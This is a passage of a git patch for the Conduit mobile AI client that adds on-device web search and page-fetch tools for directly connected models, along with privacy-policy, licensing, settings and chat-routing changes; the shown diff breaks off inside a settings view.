From e8b5a95d70576b48ac9e7b1c54b5fc5fdca70921 Mon Sep 17 00:00:00 2001 From: cogwheel Date: Tue, 29 Sep 2026 12:26:20 +0530 Subject: [PATCH 1/9] Add on-device web search for Direct models Direct models without a provider-hosted search tool (generic OpenAI-compatible, self-hosted Ollama, Apple) can now search the web from the device through model-called web_search and web_fetch tools. - Vendor the MIT ddgs package as packages/conduit_ddgs and fix it: real result links, captcha detection, cancellation, an injectable client, engine cooldowns and Auto fallback (DuckDuckGo, Brave, Bing, Mojeek, then Wikipedia). See its VENDORED.md. - Fetch pages with connect-time DNS vetting so a public hostname can't reach the LAN, and limit web_fetch to search results and links in the user's message. - Pass structured tool results to the chat bridge so searches show as source chips, and let web search run alongside MCP tools. - Honor the Open WebUI web search policy for server-configured Direct connections, hide the toggle for models that can't call tools, and explain tool rejections. - Add engine, safe search and region settings, update the privacy policy and third-party notices, and translate the new strings. - Move long context-compaction model lists to their own page. --- .github/workflows/ci.yml | 1 + PRIVACY_POLICY.md | 6 +- THIRD_PARTY_NOTICES.md | 28 ++ .../chat/providers/chat_direct_turns.dart | 102 ++++- .../chat/providers/chat_providers.dart | 1 + .../widgets/assistant_message_widget.dart | 9 +- .../chat/widgets/composer_overflow_items.dart | 16 +- .../services/apple_pcc_adapter.dart | 2 +- .../views/direct_connections_page.dart | 114 +++++- .../views/on_device_web_search_section.dart | 171 ++++++++ lib/l10n/app_cs.arb | 17 +- lib/l10n/app_de.arb | 17 +- lib/l10n/app_en.arb | 28 +- lib/l10n/app_es.arb | 17 +- lib/l10n/app_fr.arb | 17 +- lib/l10n/app_it.arb | 17 +- lib/l10n/app_ja.arb | 17 +- lib/l10n/app_ko.arb | 17 +- lib/l10n/app_nl.arb | 17 +- lib/l10n/app_pl.arb | 17 +- lib/l10n/app_ru.arb | 17 +- lib/l10n/app_sk.arb | 17 +- lib/l10n/app_zh.arb | 17 +- lib/l10n/app_zh_Hant.arb | 17 +- lib/main.dart | 2 +- .../models/direct_completion.dart | 13 +- .../services/ollama_adapter.dart | 2 +- .../services/ollama_cloud_tools.dart | 79 +--- .../services/openai_compatible_adapter.dart | 2 +- .../models/web_search_preferences.dart | 132 ++++++ .../providers/web_search_providers.dart | 63 +++ .../services/direct_web_search_mode.dart | 106 +++++ .../services/on_device_web_tools.dart | 313 ++++++++++++++ .../services/public_web_address.dart | 88 ++++ .../services/web_page_extractor.dart | 271 +++++++++++++ .../web_search/services/web_page_fetcher.dart | 229 +++++++++++ .../lib/features/web_search/web_search.dart | 10 + .../lib/persistence/persistence_keys.dart | 4 + .../lib/providers/app_providers.dart | 1 + .../app_providers_feature_availability.dart | 58 ++- .../lib/services/settings_service.dart | 76 ++++ packages/conduit_core/pubspec.yaml | 5 + .../direct_web_search_mode_test.dart | 36 ++ .../web_search/on_device_web_tools_test.dart | 206 ++++++++++ .../web_search/web_page_extractor_test.dart | 77 ++++ .../web_search/web_page_fetcher_test.dart | 54 +++ .../web_search_preferences_test.dart | 32 ++ packages/conduit_ddgs/LICENSE | 21 + packages/conduit_ddgs/VENDORED.md | 54 +++ packages/conduit_ddgs/analysis_options.yaml | 10 + packages/conduit_ddgs/lib/conduit_ddgs.dart | 16 + packages/conduit_ddgs/lib/src/ddgs.dart | 284 +++++++++++++ packages/conduit_ddgs/lib/src/engine.dart | 96 +++++ .../conduit_ddgs/lib/src/engines/bing.dart | 112 +++++ .../conduit_ddgs/lib/src/engines/brave.dart | 76 ++++ .../lib/src/engines/duckduckgo.dart | 84 ++++ .../conduit_ddgs/lib/src/engines/mojeek.dart | 53 +++ .../lib/src/engines/wikipedia.dart | 73 ++++ packages/conduit_ddgs/lib/src/exceptions.dart | 56 +++ .../conduit_ddgs/lib/src/search_query.dart | 112 +++++ .../conduit_ddgs/lib/src/search_result.dart | 44 ++ packages/conduit_ddgs/pubspec.yaml | 20 + packages/conduit_ddgs/test/ddgs_test.dart | 152 +++++++ packages/conduit_ddgs/test/engines_test.dart | 198 +++++++++ .../test/fixtures/bing_results.html | 12 + .../test/fixtures/brave_results.html | 31 ++ .../test/fixtures/duckduckgo_captcha.html | 102 +++++ .../test/fixtures/duckduckgo_results.html | 381 ++++++++++++++++++ .../fixtures/duckduckgo_wrapped_links.html | 61 +++ .../test/fixtures/mojeek_captcha.html | 13 + .../test/fixtures/mojeek_results.html | 15 + .../test/fixtures/wikipedia_results.json | 1 + packages/conduit_ddgs/tool/live_smoke.dart | 52 +++ pubspec.yaml | 1 + .../web_search_availability_test.dart | 189 ++++++--- test/core/services/settings_service_test.dart | 30 ++ .../modern_chat_input_direct_test.dart | 21 +- .../direct_adapters_test.dart | 10 +- .../direct_connections_management_test.dart | 56 +++ 79 files changed, 4798 insertions(+), 196 deletions(-) create mode 100644 lib/features/direct_connections/views/on_device_web_search_section.dart create mode 100644 packages/conduit_core/lib/features/web_search/models/web_search_preferences.dart create mode 100644 packages/conduit_core/lib/features/web_search/providers/web_search_providers.dart create mode 100644 packages/conduit_core/lib/features/web_search/services/direct_web_search_mode.dart create mode 100644 packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart create mode 100644 packages/conduit_core/lib/features/web_search/services/public_web_address.dart create mode 100644 packages/conduit_core/lib/features/web_search/services/web_page_extractor.dart create mode 100644 packages/conduit_core/lib/features/web_search/services/web_page_fetcher.dart create mode 100644 packages/conduit_core/lib/features/web_search/web_search.dart create mode 100644 packages/conduit_core/test/features/web_search/direct_web_search_mode_test.dart create mode 100644 packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart create mode 100644 packages/conduit_core/test/features/web_search/web_page_extractor_test.dart create mode 100644 packages/conduit_core/test/features/web_search/web_page_fetcher_test.dart create mode 100644 packages/conduit_core/test/features/web_search/web_search_preferences_test.dart create mode 100755 packages/conduit_ddgs/LICENSE create mode 100644 packages/conduit_ddgs/VENDORED.md create mode 100644 packages/conduit_ddgs/analysis_options.yaml create mode 100644 packages/conduit_ddgs/lib/conduit_ddgs.dart create mode 100644 packages/conduit_ddgs/lib/src/ddgs.dart create mode 100644 packages/conduit_ddgs/lib/src/engine.dart create mode 100644 packages/conduit_ddgs/lib/src/engines/bing.dart create mode 100644 packages/conduit_ddgs/lib/src/engines/brave.dart create mode 100644 packages/conduit_ddgs/lib/src/engines/duckduckgo.dart create mode 100644 packages/conduit_ddgs/lib/src/engines/mojeek.dart create mode 100644 packages/conduit_ddgs/lib/src/engines/wikipedia.dart create mode 100644 packages/conduit_ddgs/lib/src/exceptions.dart create mode 100644 packages/conduit_ddgs/lib/src/search_query.dart create mode 100644 packages/conduit_ddgs/lib/src/search_result.dart create mode 100644 packages/conduit_ddgs/pubspec.yaml create mode 100644 packages/conduit_ddgs/test/ddgs_test.dart create mode 100644 packages/conduit_ddgs/test/engines_test.dart create mode 100644 packages/conduit_ddgs/test/fixtures/bing_results.html create mode 100644 packages/conduit_ddgs/test/fixtures/brave_results.html create mode 100644 packages/conduit_ddgs/test/fixtures/duckduckgo_captcha.html create mode 100644 packages/conduit_ddgs/test/fixtures/duckduckgo_results.html create mode 100644 packages/conduit_ddgs/test/fixtures/duckduckgo_wrapped_links.html create mode 100644 packages/conduit_ddgs/test/fixtures/mojeek_captcha.html create mode 100644 packages/conduit_ddgs/test/fixtures/mojeek_results.html create mode 100644 packages/conduit_ddgs/test/fixtures/wikipedia_results.json create mode 100644 packages/conduit_ddgs/tool/live_smoke.dart diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index f2a5e697a..216b14f78 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -63,6 +63,7 @@ jobs: matrix: package: - packages/conduit_core + - packages/conduit_ddgs - packages/conduit_markdown - packages/conduit_theme steps: diff --git a/PRIVACY_POLICY.md b/PRIVACY_POLICY.md index aada4f129..9043a98ad 100644 --- a/PRIVACY_POLICY.md +++ b/PRIVACY_POLICY.md @@ -1,6 +1,6 @@ # Conduit Privacy Policy -Effective date: 2026-08-21 +Effective date: 2026-09-29 Conduit is an open‑source mobile client for Open‑WebUI and directly connected AI providers. This app acts as a client to services you choose and configure. This policy describes how the app itself handles data on your device. Open WebUI servers and AI providers may collect, process, and store data under their own policies; please review their privacy terms separately. @@ -21,6 +21,7 @@ Conduit is an open‑source mobile client for Open‑WebUI and directly connecte - Direct chat history: by default, a direct chat is also synchronized to your active Open WebUI server when you are signed in. You can instead keep direct chat history only on this device. Changing this setting applies to new chats and does not automatically upload existing on-device chats. - Apple On-Device: when you select Apple On-Device, model inference runs locally through Apple's Foundation Models framework. Prompt and response content is not sent to an AI provider by Conduit, though optional Open WebUI history synchronization remains a separate setting. - Apple Private Cloud Compute: when you select the Apple PCC provider, Conduit sends the conversation content and selected images needed for that request to Apple's Private Cloud Compute service. Conduit does not operate an intermediary server. If you enable on-device fallback, a PCC network failure may instead be retried with Apple's on-device model. Apple's processing and retention terms apply separately from Conduit's optional Open WebUI history synchronization. +- On-device web search: when you turn on web search for a direct model that has no web search of its own, Conduit searches from your device. The search queries the model writes are sent directly to a public search engine: by default DuckDuckGo, then Brave, Bing, Mojeek or Wikipedia if it does not answer, or only the engine you pick in settings. When the model opens a result, or a link you wrote in your message, that page is downloaded directly from your device. These requests carry your device's IP address and your chosen region and safe-search setting, and are not sent through Open WebUI or any developer-controlled server. Search results and page text are then sent to the AI provider as part of the conversation. ## Permissions Depending on how you use Conduit, the app may request: @@ -35,7 +36,7 @@ Depending on how you use Conduit, the app may request: features; your speech is converted to text on your device when available. ## Third‑Party Services -The app does not include third‑party analytics or advertising SDKs. Open WebUI servers, AI providers, or extensions you use may rely on third‑party services subject to their own terms. +The app does not include third‑party analytics or advertising SDKs. Open WebUI servers, AI providers, or extensions you use may rely on third‑party services subject to their own terms. When you use on-device web search, the search engines and websites your device contacts process those requests under their own privacy policies. ## Security We use platform‑provided secure storage for sensitive credentials where supported. No security can be guaranteed; protect access to your device and server credentials. @@ -46,6 +47,7 @@ We use platform‑provided secure storage for sensitive credentials where suppor ## Your Choices - You can change servers, remove direct connection profiles, log out, choose on-device-only history for new direct chats, or clear app data in your device settings. +- You can turn web search off for a chat, and choose which search engine on-device web search uses, in the Direct Connections settings. - You can choose not to grant optional permissions; some features may not work without them. ## Children’s Privacy diff --git a/THIRD_PARTY_NOTICES.md b/THIRD_PARTY_NOTICES.md index dfdb431e5..5f37127a6 100644 --- a/THIRD_PARTY_NOTICES.md +++ b/THIRD_PARTY_NOTICES.md @@ -34,3 +34,31 @@ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +## ddgs + +`packages/conduit_ddgs` is derived from the `ddgs` Dart package 0.3.2 +(), modified as described in +`packages/conduit_ddgs/VENDORED.md`. + +MIT License + +Copyright (c) 2025 kamranxdev + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/lib/features/chat/providers/chat_direct_turns.dart b/lib/features/chat/providers/chat_direct_turns.dart index a4ddf3e6b..6397946c9 100644 --- a/lib/features/chat/providers/chat_direct_turns.dart +++ b/lib/features/chat/providers/chat_direct_turns.dart @@ -640,18 +640,87 @@ Future _refreshDirectConversationOwner( ({bool enableWebSearch, List localMcpToolIds}) normalizeDirectToolSelectionForBinding({ required DirectModelBinding binding, + required DirectWebSearchMode webSearchMode, required bool enableWebSearch, required List localMcpToolIds, }) { final effectiveToolIds = directBindingSupportsLocalMcp(binding) ? localMcpToolIds : const []; + final searchAllowed = switch (webSearchMode) { + DirectWebSearchMode.unavailable => false, + // A provider-hosted search tool can't share a request with local tools. + DirectWebSearchMode.providerHosted => effectiveToolIds.isEmpty, + // On-device search is just another local tool. + DirectWebSearchMode.onDevice => true, + }; return ( - enableWebSearch: enableWebSearch && effectiveToolIds.isEmpty, + enableWebSearch: enableWebSearch && searchAllowed, localMcpToolIds: effectiveToolIds, ); } +/// Links in the turn's user message, which `web_fetch` may read without a +/// search first ("summarize https://..."). +List _latestUserMessageUrls(List messages) { + for (final message in messages.reversed) { + if (message.role == 'user') return extractWebUrls(message.content); + } + return const []; +} + +DirectToolApprovalHandle _autoApprovedWebTool( + String callId, + DirectToolDefinition definition, + Map arguments, +) { + // Turning web search on is the consent; asking again per query would make + // the tool unusable, and a fetch is limited to URLs already in the turn. + return DirectToolApprovalHandle( + request: DirectToolApprovalRequest( + id: '$kOnDeviceWebToolServerId/$callId', + serverName: definition.serverName, + toolName: definition.displayName, + callId: callId, + argumentsJson: jsonEncode(arguments), + ), + decision: Future.value(DirectToolApprovalDecision.allowOnce), + requiresUserDecision: false, + ); +} + +/// Adds on-device web tools to [mcpRuntime], or stands them up alone. +DirectToolRuntime _withOnDeviceWebTools( + DirectToolRuntime? mcpRuntime, + OnDeviceWebToolSession webTools, +) { + bool isWebTool(DirectToolDefinition definition) => + definition.serverId == kOnDeviceWebToolServerId && + OnDeviceWebToolSession.handles(definition.name); + return DirectToolRuntime( + definitions: [...?mcpRuntime?.definitions, ...webTools.definitions], + requestApproval: (callId, definition, arguments) { + if (isWebTool(definition)) { + return _autoApprovedWebTool(callId, definition, arguments); + } + return mcpRuntime!.requestApproval(callId, definition, arguments); + }, + execute: (name, arguments) { + // MCP tools are namespaced `mcp__`, so the bare web tool + // names can't collide with them. + if (OnDeviceWebToolSession.handles(name)) { + return webTools.execute(name, arguments); + } + if (mcpRuntime == null) { + throw const DirectProviderException( + 'The model requested an unavailable local tool.', + ); + } + return mcpRuntime.execute(name, arguments); + }, + ); +} + Future _dispatchDirectRunFromChat( dynamic ref, { required _ResolvedDirectRoute route, @@ -670,8 +739,13 @@ Future _dispatchDirectRunFromChat( }) async { final releaseGeneration = holdLocalChatGeneration(ref); try { + final webSearchMode = directWebSearchModeFor( + binding: route.binding, + model: route.model, + ); final toolSelection = normalizeDirectToolSelectionForBinding( binding: route.binding, + webSearchMode: webSearchMode, enableWebSearch: enableWebSearch, localMcpToolIds: localMcpToolIds, ); @@ -735,6 +809,7 @@ Future _dispatchDirectRunFromChat( reservation: reservation, preflightCancelToken: preflightCancelToken, enableWebSearch: toolSelection.enableWebSearch, + webSearchMode: webSearchMode, enableImageGeneration: enableImageGeneration, reasoningEffort: reasoningEffort, localMcpToolIds: toolSelection.localMcpToolIds, @@ -775,6 +850,7 @@ Future _dispatchDirectRunFromChatWithTrackedOwner( required DirectRunReservation reservation, required CancelToken preflightCancelToken, required bool enableWebSearch, + required DirectWebSearchMode webSearchMode, required bool enableImageGeneration, required String? reasoningEffort, required List localMcpToolIds, @@ -1123,6 +1199,26 @@ Future _dispatchDirectRunFromChatWithTrackedOwner( }, ); } + final useOnDeviceWebSearch = + enableWebSearch && webSearchMode == DirectWebSearchMode.onDevice; + if (useOnDeviceWebSearch) { + final OnDeviceWebToolSessionFactory createWebTools = ref.read( + onDeviceWebToolSessionFactoryProvider, + ); + toolRuntime = _withOnDeviceWebTools( + toolRuntime, + createWebTools( + budget: webToolBudgetFor( + adapterKey: route.binding.adapterKey, + knownContextLength: + directModelAdvertisedContextLength(route.model) ?? + ref.read(directContextLengthOverridesProvider)[route.model.id], + ), + userProvidedUrls: _latestUserMessageUrls(requestMessages), + cancel: registry.cancellationSignal(reservation), + ), + ); + } final normalizedBudget = DirectStreamBudget( maxCharacters: streamLimits.maxCharacters, maxEvents: streamLimits.maxEvents, @@ -1145,7 +1241,9 @@ Future _dispatchDirectRunFromChatWithTrackedOwner( DirectCompletionRequest( remoteModelId: route.binding.remoteModelId, messages: directMessages, - enableWebSearch: enableWebSearch, + // On-device search travels as local tools; the adapter's flag asks + // for the provider's own search tool. + enableWebSearch: enableWebSearch && !useOnDeviceWebSearch, enableImageGeneration: enableImageGeneration, imageGenerationModel: route.profile.isOpenRouter && enableImageGeneration diff --git a/lib/features/chat/providers/chat_providers.dart b/lib/features/chat/providers/chat_providers.dart index 5ae4c6c21..abed0a3e8 100644 --- a/lib/features/chat/providers/chat_providers.dart +++ b/lib/features/chat/providers/chat_providers.dart @@ -138,6 +138,7 @@ import '../providers/reasoning_effort_provider.dart'; import 'package:conduit_core/features/tools/providers/tools_providers.dart'; import 'package:conduit_core/utils/system_prompt.dart'; import 'package:conduit_core/features/direct_connections/services/direct_chat_storage.dart'; +import 'package:conduit_core/features/web_search/web_search.dart'; import '../services/chat_transport_dispatch.dart'; import '../services/chat_history_reader.dart'; diff --git a/lib/features/chat/widgets/assistant_message_widget.dart b/lib/features/chat/widgets/assistant_message_widget.dart index dd5730d37..b0a2c6c68 100644 --- a/lib/features/chat/widgets/assistant_message_widget.dart +++ b/lib/features/chat/widgets/assistant_message_widget.dart @@ -11,6 +11,7 @@ import '../../../shared/widgets/markdown/streaming_markdown_widget.dart'; import '../../../shared/widgets/markdown/renderer/markdown_style.dart'; import 'package:conduit_core/models/chat_message.dart'; +import 'package:conduit_core/features/web_search/services/direct_web_search_mode.dart'; import 'package:conduit_markdown/conduit_markdown.dart'; import '../providers/text_to_speech_provider.dart'; @@ -1428,9 +1429,13 @@ class _AssistantMessageWidgetState extends ConsumerState final errorColor = theme.colorScheme.error; final errorContent = error.content; - // If no content, show a generic error message - final displayText = (errorContent != null && errorContent.isNotEmpty) + // A model that can't call tools rejects web search's tool definitions; + // say what to do instead of echoing the provider's wording. + final displayText = isDirectToolsUnsupportedError(errorContent) + ? AppLocalizations.of(context)!.directModelToolsUnsupported + : (errorContent != null && errorContent.isNotEmpty) ? errorContent + // If no content, show a generic error message : 'An error occurred while generating this response.'; return Container( diff --git a/lib/features/chat/widgets/composer_overflow_items.dart b/lib/features/chat/widgets/composer_overflow_items.dart index 057651671..5dc1c3656 100644 --- a/lib/features/chat/widgets/composer_overflow_items.dart +++ b/lib/features/chat/widgets/composer_overflow_items.dart @@ -7,6 +7,8 @@ import 'package:conduit_core/models/toggle_filter.dart'; import 'package:conduit_core/models/tool.dart'; import 'package:conduit_core/features/direct_connections/providers/direct_mcp_providers.dart'; import 'package:conduit_core/features/tools/providers/tools_providers.dart'; +import 'package:conduit_core/features/web_search/services/direct_web_search_mode.dart'; +import 'package:conduit_core/providers/app_providers.dart'; import '../providers/chat_providers.dart'; @@ -313,7 +315,9 @@ void setComposerOverflowSelection( switch (actionId) { case ComposerOverflowActionIds.webSearch: ref.read(webSearchEnabledProvider.notifier).set(selected); - if (selected) _clearLocalMcpTools(ref); + if (selected && !_webSearchCoexistsWithLocalTools(ref)) { + _clearLocalMcpTools(ref); + } return; case ComposerOverflowActionIds.imageGeneration: ref.read(imageGenerationEnabledProvider.notifier).set(selected); @@ -352,7 +356,9 @@ void setComposerOverflowSelection( } if (toolId.startsWith(kDirectMcpToolIdPrefix)) { ref.read(imageGenerationEnabledProvider.notifier).set(false); - ref.read(webSearchEnabledProvider.notifier).set(false); + if (!_webSearchCoexistsWithLocalTools(ref)) { + ref.read(webSearchEnabledProvider.notifier).set(false); + } } } else if (alreadySelected) { current.remove(toolId); @@ -361,6 +367,12 @@ void setComposerOverflowSelection( ref.read(selectedToolIdsProvider.notifier).set(current); } +/// On-device web search is just another local tool, so it can run beside +/// MCP tools; a provider-hosted search tool can't share their request. +bool _webSearchCoexistsWithLocalTools(WidgetRef ref) => + ref.read(selectedDirectWebSearchModeProvider) == + DirectWebSearchMode.onDevice; + void _clearLocalMcpTools(WidgetRef ref) { final tools = ref.read(selectedToolIdsProvider); ref diff --git a/lib/features/direct_connections/services/apple_pcc_adapter.dart b/lib/features/direct_connections/services/apple_pcc_adapter.dart index ebae643ea..fefaf3fc2 100644 --- a/lib/features/direct_connections/services/apple_pcc_adapter.dart +++ b/lib/features/direct_connections/services/apple_pcc_adapter.dart @@ -355,7 +355,7 @@ final class ApplePccAdapter implements DirectProviderAdapter, PccFlutterApi { id: call.callId, name: call.name, arguments: decoded, - result: result.text, + result: result.value ?? result.text, isError: result.isError, ), ); diff --git a/lib/features/direct_connections/views/direct_connections_page.dart b/lib/features/direct_connections/views/direct_connections_page.dart index fe1495065..643d3d0cf 100644 --- a/lib/features/direct_connections/views/direct_connections_page.dart +++ b/lib/features/direct_connections/views/direct_connections_page.dart @@ -29,6 +29,7 @@ import 'package:conduit_core/features/direct_connections/services/direct_chat_br import '../providers/apple_pcc_providers.dart'; import '../services/apple_pcc_adapter.dart'; +import 'on_device_web_search_section.dart'; const List _directContextLengthOptions = [ 4096, @@ -44,6 +45,10 @@ const List _directContextLengthOptions = [ const String openWebUiDirectConnectionSourceQueryValue = 'openwebui'; +/// Above this many models, context limits move to their own page so a large +/// gateway catalog doesn't bury the rest of Direct Connections. +const int kDirectContextCompactionInlineLimit = 5; + Widget _buildDirectConnectionsScaffold( BuildContext context, { required bool isOnboarding, @@ -203,6 +208,7 @@ class _DirectConnectionsPageState extends ConsumerState UiUtils.showMessage(context, l10n.applePccUnavailable); } }, + webSearchSettings: const OnDeviceWebSearchSettingsSection(), modelsWithoutContextLimit: modelsWithoutContextLimit, contextLengthOverrides: contextLengthOverrides, onContextLengthChanged: (modelId, contextLength) => unawaited( @@ -304,6 +310,7 @@ class DirectConnectionsContent extends StatelessWidget { this.modelsWithoutContextLimit = const [], this.contextLengthOverrides = const {}, this.onContextLengthChanged, + this.webSearchSettings, }); final List profiles; @@ -336,6 +343,9 @@ class DirectConnectionsContent extends StatelessWidget { final void Function(String modelId, int contextLength)? onContextLengthChanged; + /// On-device web search settings; hidden during onboarding. + final Widget? webSearchSettings; + @override Widget build(BuildContext context) { final l10n = AppLocalizations.of(context)!; @@ -366,11 +376,17 @@ class DirectConnectionsContent extends StatelessWidget { ], if (modelsWithoutContextLimit.isNotEmpty && onContextLengthChanged != null) ...[ - _DirectContextCompactionSection( - models: modelsWithoutContextLimit, - contextLengthOverrides: contextLengthOverrides, - onChanged: onContextLengthChanged!, - ), + if (modelsWithoutContextLimit.length > + kDirectContextCompactionInlineLimit) + _DirectContextCompactionSummary( + modelCount: modelsWithoutContextLimit.length, + ) + else + _DirectContextCompactionSection( + models: modelsWithoutContextLimit, + contextLengthOverrides: contextLengthOverrides, + onChanged: onContextLengthChanged!, + ), const SizedBox(height: Spacing.xl), ], if (showHistorySync) ...[ @@ -433,6 +449,10 @@ class DirectConnectionsContent extends StatelessWidget { onRetry: onRetryMcp, flat: isOnboarding, ), + if (webSearchSettings != null && !isOnboarding) ...[ + const SizedBox(height: Spacing.xl), + webSearchSettings!, + ], ]; return _buildDirectConnectionsScaffold( @@ -658,16 +678,11 @@ class _AppleModelSection extends StatelessWidget { } } -class _DirectContextCompactionSection extends StatelessWidget { - const _DirectContextCompactionSection({ - required this.models, - required this.contextLengthOverrides, - required this.onChanged, - }); +/// One row standing in for a long context-limit list. +class _DirectContextCompactionSummary extends StatelessWidget { + const _DirectContextCompactionSummary({required this.modelCount}); - final List models; - final Map contextLengthOverrides; - final void Function(String modelId, int contextLength) onChanged; + final int modelCount; @override Widget build(BuildContext context) { @@ -676,6 +691,77 @@ class _DirectContextCompactionSection extends StatelessWidget { title: l10n.directContextCompactionTitle, footer: l10n.directContextCompactionDescription, useNativeSurface: PlatformInfo.isIOS, + children: [ + UtilityRow( + key: const ValueKey('direct-context-compaction-models'), + title: l10n.directContextCompactionModelCount(modelCount), + titleFontWeight: PlatformInfo.isIOS ? FontWeight.w400 : null, + showChevron: true, + onTap: () => Navigator.of(context).push( + CupertinoPageRoute( + builder: (_) => const DirectContextCompactionPage(), + ), + ), + ), + ], + ); + } +} + +/// Context limits for every Direct model that doesn't report one. +class DirectContextCompactionPage extends ConsumerWidget { + const DirectContextCompactionPage({super.key}); + + @override + Widget build(BuildContext context, WidgetRef ref) { + final l10n = AppLocalizations.of(context)!; + final models = + (ref.watch(directModelDiscoveryProvider).value?.models ?? + const []) + .where((model) => directModelAdvertisedContextLength(model) == null) + .toList(growable: false); + return UtilityPageScaffold.settings( + title: l10n.directContextCompactionTitle, + children: [ + _DirectContextCompactionSection( + models: models, + contextLengthOverrides: ref.watch( + directContextLengthOverridesProvider, + ), + onChanged: (modelId, contextLength) => unawaited( + ref + .read(directContextLengthOverridesProvider.notifier) + .set(modelId, contextLength), + ), + showTitle: false, + ), + ], + ); + } +} + +class _DirectContextCompactionSection extends StatelessWidget { + const _DirectContextCompactionSection({ + required this.models, + required this.contextLengthOverrides, + required this.onChanged, + this.showTitle = true, + }); + + final List models; + final Map contextLengthOverrides; + final void Function(String modelId, int contextLength) onChanged; + + /// Off on the dedicated page, whose title already says it. + final bool showTitle; + + @override + Widget build(BuildContext context) { + final l10n = AppLocalizations.of(context)!; + return InsetGroupedList( + title: showTitle ? l10n.directContextCompactionTitle : null, + footer: l10n.directContextCompactionDescription, + useNativeSurface: PlatformInfo.isIOS, children: [ for (final model in models) UtilityRow( diff --git a/lib/features/direct_connections/views/on_device_web_search_section.dart b/lib/features/direct_connections/views/on_device_web_search_section.dart new file mode 100644 index 000000000..0632bdf4c --- /dev/null +++ b/lib/features/direct_connections/views/on_device_web_search_section.dart @@ -0,0 +1,171 @@ +import 'package:conduit/shared/widgets/platform_ui/platform_ui.dart'; +import 'package:conduit_core/features/web_search/web_search.dart'; +import 'package:conduit_core/services/settings_service.dart'; +import 'package:cupertino_ui/cupertino_ui.dart'; +import 'package:flutter_riverpod/flutter_riverpod.dart'; + +import '../../../l10n/app_localizations.dart'; +import '../../../shared/widgets/adaptive_selection_sheet.dart'; +import '../../../shared/widgets/utility_components.dart'; + +/// Engine, safe-search and region settings for the web search Conduit runs +/// on the device for Direct models without a provider-hosted search tool. +class OnDeviceWebSearchSettingsSection extends ConsumerWidget { + const OnDeviceWebSearchSettingsSection({super.key}); + + @override + Widget build(BuildContext context, WidgetRef ref) { + final l10n = AppLocalizations.of(context)!; + final settings = ref.watch(appSettingsProvider); + final region = ref.watch(webSearchRegionProvider); + final engine = settings.webSearchEngine.engine; + final regionName = _regionName(l10n, region); + final titleWeight = PlatformInfo.isIOS ? FontWeight.w400 : null; + + return InsetGroupedList( + title: l10n.webSearch, + footer: engine == null + ? l10n.webSearchSettingsFooterAuto + : l10n.webSearchSettingsFooterEngine(engine.displayName), + useNativeSurface: PlatformInfo.isIOS, + children: [ + UtilityRow( + key: const ValueKey('web-search-engine'), + title: l10n.webSearchEngineLabel, + subtitle: _engineLabel(l10n, settings.webSearchEngine), + titleFontWeight: titleWeight, + showChevron: true, + onTap: () => _pickEngine(context, ref, settings.webSearchEngine), + ), + UtilityRow( + key: const ValueKey('web-search-safe-search'), + title: l10n.webSearchSafeSearchLabel, + subtitle: _safeSearchLabel(l10n, settings.webSearchSafeSearch), + titleFontWeight: titleWeight, + showChevron: true, + onTap: () => + _pickSafeSearch(context, ref, settings.webSearchSafeSearch), + ), + UtilityRow( + key: const ValueKey('web-search-region'), + title: l10n.webSearchRegionLabel, + subtitle: settings.webSearchRegion == null + ? '${l10n.webSearchRegionAuto} ($regionName)' + : regionName, + titleFontWeight: titleWeight, + showChevron: true, + onTap: () => _pickRegion(context, ref, settings.webSearchRegion), + ), + ], + ); + } + + Future _pickEngine( + BuildContext context, + WidgetRef ref, + WebSearchEngineChoice current, + ) async { + final l10n = AppLocalizations.of(context)!; + const choices = WebSearchEngineChoice.values; + final selected = await showAdaptiveSelectionSheet( + context: context, + builder: (sheetContext) => AdaptiveSelectionSheet( + title: l10n.webSearchEngineLabel, + itemCount: choices.length, + itemBuilder: (context, index) { + final choice = choices[index]; + return AdaptiveSelectionTile( + title: _engineLabel(l10n, choice), + selected: choice == current, + onTap: () => Navigator.of(sheetContext).pop(choice), + ); + }, + ), + ); + if (selected != null) { + await ref.read(appSettingsProvider.notifier).setWebSearchEngine(selected); + } + } + + Future _pickSafeSearch( + BuildContext context, + WidgetRef ref, + SafeSearch current, + ) async { + final l10n = AppLocalizations.of(context)!; + const levels = SafeSearch.values; + final selected = await showAdaptiveSelectionSheet( + context: context, + builder: (sheetContext) => AdaptiveSelectionSheet( + title: l10n.webSearchSafeSearchLabel, + itemCount: levels.length, + itemBuilder: (context, index) { + final level = levels[index]; + return AdaptiveSelectionTile( + title: _safeSearchLabel(l10n, level), + selected: level == current, + onTap: () => Navigator.of(sheetContext).pop(level), + ); + }, + ), + ); + if (selected != null) { + await ref + .read(appSettingsProvider.notifier) + .setWebSearchSafeSearch(selected); + } + } + + Future _pickRegion( + BuildContext context, + WidgetRef ref, + String? current, + ) async { + final l10n = AppLocalizations.of(context)!; + final codes = [ + kWebSearchRegionAuto, + SearchRegion.worldwide.code, + for (final option in kWebSearchRegions) option.code, + ]; + final currentCode = current ?? kWebSearchRegionAuto; + final selected = await showAdaptiveSelectionSheet( + context: context, + builder: (sheetContext) => AdaptiveSelectionSheet( + title: l10n.webSearchRegionLabel, + initialChildSize: 0.7, + itemCount: codes.length, + 